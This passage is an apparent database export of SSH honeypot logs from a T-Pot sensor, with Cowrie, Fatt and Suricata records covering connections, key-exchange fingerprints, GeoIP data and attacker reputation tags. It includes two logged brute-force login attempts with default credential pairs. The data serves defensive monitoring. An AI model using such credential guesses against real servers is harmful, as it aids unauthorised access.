27497	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:41.126757+03	2021-09-20 14:15:14.663674+03	{"_id": "EQbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ea5f9ecee006", "@version": "1", "timestamp": "2021-09-20T11:14:41.126757Z", "@timestamp": "2021-09-20T11:14:41.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27498	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:41.271765+03	2021-09-20 14:15:14.665644+03	{"_id": "EgbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f827a6411d69", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:41.271765Z", "@timestamp": "2021-09-20T11:14:41.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27499	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:41.369313+03	2021-09-20 14:15:14.666645+03	{"_id": "EwbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [debian/temppwd] failed", "session": "732d2f5785b2", "@version": "1", "password": "temppwd", "username": "debian", "timestamp": "2021-09-20T11:14:41.369313Z", "@timestamp": "2021-09-20T11:14:41.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27510	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:41.581515+03	2021-09-20 14:15:14.680645+03	{"_id": "GAbqAnwBvYTbRNuETyhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36108, "dest_port": 22, "timestamp": "2021-09-20T11:14:41.581515", "@timestamp": "2021-09-20T11:14:41.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27500	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:41.582317+03	2021-09-20 14:15:14.667646+03	{"_id": "FAbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f827a6411d69", "@version": "1", "timestamp": "2021-09-20T11:14:41.582317Z", "@timestamp": "2021-09-20T11:14:41.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27501	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:14:41.653309+03	2021-09-20 14:15:14.669646+03	{"_id": "FQbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3d65a2248ad7", "@version": "1", "duration": 3.1890869140625, "timestamp": "2021-09-20T11:14:41.653309Z", "@timestamp": "2021-09-20T11:14:41.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27502	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:41.725687+03	2021-09-20 14:15:14.670677+03	{"_id": "FgbqAnwBvYTbRNuETCgs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [remote/remote] failed", "session": "e15c0f9ee43f", "@version": "1", "password": "remote", "username": "remote", "timestamp": "2021-09-20T11:14:41.725687Z", "@timestamp": "2021-09-20T11:14:41.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27503	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:41.54998+03	2021-09-20 14:15:14.671646+03	{"_id": "FwbqAnwBvYTbRNuETigb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 756729971219712, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36108, "dest_port": 22, "timestamp": "2021-09-20T11:14:41.549980Z", "@timestamp": "2021-09-20T11:14:41.549Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27504	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:14:49.657286+03	2021-09-20 14:15:14.672646+03	{"_id": "SwbqAnwBvYTbRNuEayht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:41912 (192.168.176.2:22) [session: 61ea14951c44]", "session": "61ea14951c44", "@version": "1", "protocol": "ssh", "src_port": 41912, "dest_port": 22, "timestamp": "2021-09-20T11:14:49.657286Z", "@timestamp": "2021-09-20T11:14:49.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27505	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:14:50.017099+03	2021-09-20 14:15:14.674644+03	{"_id": "TgbqAnwBvYTbRNuEbiiX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 41912, "dest_port": 22, "timestamp": "2021-09-20T11:14:50.017099", "@timestamp": "2021-09-20T11:14:50.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27506	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:14:49.837017+03	2021-09-20 14:15:14.675645+03	{"_id": "UAbqAnwBvYTbRNuEbyhW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "61ea14951c44", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:14:49.837017Z", "@timestamp": "2021-09-20T11:14:49.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27507	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:51.547894+03	2021-09-20 14:15:14.676645+03	{"_id": "VAbqAnwBvYTbRNuEcyg_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9e29758cf749", "@version": "1", "timestamp": "2021-09-20T11:14:51.547894Z", "@timestamp": "2021-09-20T11:14:51.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 